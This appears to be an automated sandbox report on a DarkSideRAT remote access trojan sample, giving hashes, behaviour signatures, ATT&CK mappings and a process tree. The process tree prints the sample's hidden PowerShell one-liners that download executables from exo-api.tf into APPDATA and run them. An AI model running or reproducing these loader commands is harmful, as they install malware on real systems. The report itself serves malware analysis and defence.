darksiderat | 631f271c72b2f63f453d38adbcbe9a3d5fb3928e9e2a0876b7647c3711acb2aa

General

Target
2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe
Size 29.2MB
Sample260929-2n5rwsha22
SHA256 631f271c72b2f63f453d38adbcbe9a3d5fb3928e9e2a0876b7647c3711acb2aa
MD5 6ee557ceac2c30ddebdab32109d7cd79
SHA1 ef47a5dbed14cd44a701a5faa7ea9324f4dbc8b1
SHA512 520f85b3c6e0731a69875c2aa12310800850be993cbc04f4eba1cdac888a41f5c85264d988b7e4daf69976aa4110df32236e198e6a6abc94b83c52eac6f64100
SSDEEP 786432:EPKdiVH/XYuxkxZvd3biGRN1+qbwewbkhi:aVfoux2Zxtr1cqi
TLSH
T12A6722C6A2E510F8C1A78234924BA74FE2B078191724AADF37D05E465F37FD21A7E712
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral2/files/0x000600000001b859-18.dat	family_darksiderat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3648	powershell.exe
3	4712	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4712	powershell.exe
3648	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
2	3648	powershell.exe
3	4712	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5496	BK652230.exe
1276	BK761348.exe

Loads dropped DLL 1 IoCs

pid	Process
6128	2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1528	cmd.exe
832	cmd.exe
4420	cmd.exe
4728	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1704430598-3087477806-3297458608-1000\{D74D273B-B047-4899-A45C-C248BBA6615E}	2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4712	powershell.exe
3648	powershell.exe
4712	powershell.exe
3648	powershell.exe
3648	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6128	2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	3648	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6128	2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 6128 wrote to memory of 1528	6128	2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe	89
PID 1528 wrote to memory of 832	1528	cmd.exe	91
PID 6128 wrote to memory of 4420	6128	2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe	93
PID 832 wrote to memory of 4712	832	cmd.exe	95
PID 4420 wrote to memory of 4728	4420	cmd.exe	96
PID 4728 wrote to memory of 3648	4728	cmd.exe	98
PID 3648 wrote to memory of 5496	3648	powershell.exe	99
PID 4712 wrote to memory of 1276	4712	powershell.exe	103

C:\Users\Admin\AppData\Local\Temp\2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-29_6ee557ceac2c30ddebdab32109d7cd79_icedid_luca-stealer_njrat_stealc_vidar.exe"
1⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_p6SJQ5' -OutFile $env:APPDATA\BK761348.exe; Start-Process -FilePath $env:APPDATA\BK761348.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_p6SJQ5' -OutFile $env:APPDATA\BK761348.exe; Start-Process -FilePath $env:APPDATA\BK761348.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_p6SJQ5' -OutFile $env:APPDATA\BK761348.exe; Start-Process -FilePath $env:APPDATA\BK761348.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4712
    - - C:\Users\Admin\AppData\Roaming\BK761348.exe
        
        "C:\Users\Admin\AppData\Roaming\BK761348.exe"
        5⤵
        Executes dropped EXE
        
        PID:1276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_m96qs0' -OutFile $env:APPDATA\BK652230.exe; Start-Process -FilePath $env:APPDATA\BK652230.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_m96qs0' -OutFile $env:APPDATA\BK652230.exe; Start-Process -FilePath $env:APPDATA\BK652230.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_m96qs0' -OutFile $env:APPDATA\BK652230.exe; Start-Process -FilePath $env:APPDATA\BK652230.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3648
    - - C:\Users\Admin\AppData\Roaming\BK652230.exe
        
        "C:\Users\Admin\AppData\Roaming\BK652230.exe"
        5⤵
        Executes dropped EXE
        
        PID:5496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0c0236308733cd437634732f61af1affd87d2d91e3c6a64130109a95b7ddb1b1
MD5 02cc65f25d52eedc3ee2f4a9e1d0a67e
SHA1 e048c6dccd164d383b45ab3545598093a6ea5999
SHA512 20a8ae1113ed3895904f2db07bc6489d2c1d5cf361edbdbc57657a2d9139db7d4b738690a40dad986368633a6096c8525bf1e89010e16a8ba67362b668d6099a
TLSH
T186215C37B3DC8614DC9A413A50CDAC1036B5C7D7419ECF6B7B84D544B42F699DE61150
MD5 SHA1 SHA512 TLSH

Submit Download

freetype.dll

Path C:\Users\Admin\AppData\Local\Temp\freetype.dll
Size 672KB
SHA256 cabb749f16cf301ae2d33876fe14c7df219c574e4d3628c5ce0dcf2bc83a965d
MD5 6ae30af213a471e450c566e8377eacd2
SHA1 cbae27cbd3323b93e57bc8b6844ef8d2cbb67080
SHA512 810fe3e6ba85cbb8a47f6150b432129ce94ab149ef8ecd538d4804de719e879d49fd3f7dffc8a83c0e74be661059fc95e55690531e4fbaca5b657fc64401c79e
SSDEEP 12288:CX65+PTFaMhDlrgwvLPjEszpxL/NIKwd68eOP8qCa6DjbwLKQdfEWmj:CX6MRaMhprg0PwszpxD2Rk8eOP8qCBjr
TLSH
T124E48D83F3E415ACD6ABC2788617872AE37174051310ABDB56A05B6B7F13FE16B3A314
MD5 SHA1 SHA512 SSDEEP TLSH

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BK652230.exe

Path C:\Users\Admin\AppData\Roaming\BK652230.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

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BK761348.exe

Path C:\Users\Admin\AppData\Roaming\BK761348.exe
Size 277KB
SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
MD5 d712be26fe4bbd0ee1fc9156ea74b705
SHA1 0d73d709f61dcd7d58984dd154c50b925049689c
SHA512 cf5fbb98d408768300e56b6ae809af0dfd4366c47e95ee9e40602ed4827b6f6b4b76cda089ba7561d64bf38bdc64025c9f057e92854808f0b5cf790c1e19868e
SSDEEP 3072:cHg0HbTE/QaJkcHVqJr3NPAG0geM4tO/URydJ/28S2sQdJ1:cHgETakcMJrJ3H4cdJ/B/dJ
TLSH
T1CD547369EF48AC5AD4FB98FB78112A3ED0D0543787F079EA84C2097D5A0885F17FAD90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4712-10-0x000001FA72690000-0x000001FA726B2000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads